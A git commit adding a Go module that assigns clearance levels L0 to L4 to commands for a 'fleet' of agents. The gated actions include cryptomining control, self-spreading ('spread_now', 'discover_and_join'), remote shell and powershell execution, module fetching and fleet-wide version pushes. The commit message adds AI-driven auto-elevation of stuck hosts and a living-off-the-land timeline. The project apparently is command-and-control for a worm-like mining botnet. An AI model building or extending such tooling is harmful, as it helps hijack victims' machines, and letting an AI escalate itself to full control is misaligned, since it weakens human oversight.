Add L0-L4 security clearance for fleet commands and AI elevation.

Gate manual and AI commands by per-agent clearance, auto-elevate stuck hosts to L4 when AI mode allows, and surface clearance in Access Depth and LOTL timeline.
This commit is contained in:
AetherForge
2026-06-07 02:30:00 -07:00
parent dd612251d1
commit f89ba94cb7
21 changed files with 952 additions and 46 deletions

View File

@@ -0,0 +1,114 @@
package clearance
import (
"fmt"
"strings"
)
// Security clearance levels (L0L4).
const (
L0 = 0 // stats / read-only
L1 = 1 // mining commands
L2 = 2 // spread
L3 = 3 // shell
L4 = 4 // forge / version
)
// LevelLabel returns the badge string for a clearance level.
func LevelLabel(level int) string {
if level < L0 {
level = L0
}
if level > L4 {
level = L4
}
return fmt.Sprintf("L%d", level)
}
// LevelPermissions describes what each level allows (UI tooltips).
func LevelPermissions(level int) string {
switch level {
case L0:
return "stats and read-only probes"
case L1:
return "mining: pause, resume, restart"
case L2:
return "spread: discover_and_join, spread_now, stage_fetch"
case L3:
return "shell: exec_shell, agent_command"
case L4:
return "forge: set_agent_version, reorder_tiers fleet-wide"
default:
return "unknown clearance"
}
}
// ActionRequiredLevel maps a remote agent action to the minimum clearance level.
func ActionRequiredLevel(action string) int {
switch normalizeKey(action) {
case "pause", "resume", "restart", "restart_mining", "start_mining", "stop":
return L1
case "discover_and_join", "spread_now", "stage_fetch":
return L2
case "exec", "exec_shell", "powershell", "agent_command":
return L3
case "fetch_module", "set_agent_version", "reorder_tiers", "adaptive_strategy_update":
return L4
default:
return L0
}
}
// CommandRequiredLevel maps a fleet AI command type to the minimum clearance level.
func CommandRequiredLevel(cmdType string, args map[string]interface{}) int {
typ := normalizeKey(cmdType)
switch typ {
case "noop", "":
return L0
case "restart_mining":
return L1
case "discover_and_join", "spread_now", "stage_fetch":
return L2
case "agent_command":
if args != nil {
if action, ok := args["action"].(string); ok && action != "" {
return ActionRequiredLevel(action)
}
}
return L3
case "bulk_command":
if args != nil {
if action, ok := args["action"].(string); ok && action != "" {
return ActionRequiredLevel(action)
}
}
return L1
case "set_agent_version", "reorder_tiers":
return L4
default:
return ActionRequiredLevel(typ)
}
}
// EnforceClearance returns an error when agentClearance is below the command requirement.
func EnforceClearance(cmdType string, args map[string]interface{}, agentClearance int) error {
required := CommandRequiredLevel(cmdType, args)
if agentClearance >= required {
return nil
}
return fmt.Errorf("clearance %s insufficient for %s (requires %s)", LevelLabel(agentClearance), cmdType, LevelLabel(required))
}
// EnforceAction is the manual API path for raw agent actions.
func EnforceAction(action string, agentClearance int) error {
required := ActionRequiredLevel(action)
if agentClearance >= required {
return nil
}
return fmt.Errorf("clearance %s insufficient for %s (requires %s)", LevelLabel(agentClearance), action, LevelLabel(required))
}
func normalizeKey(s string) string {
s = strings.TrimSpace(strings.ToLower(s))
return strings.ReplaceAll(s, "-", "_")
}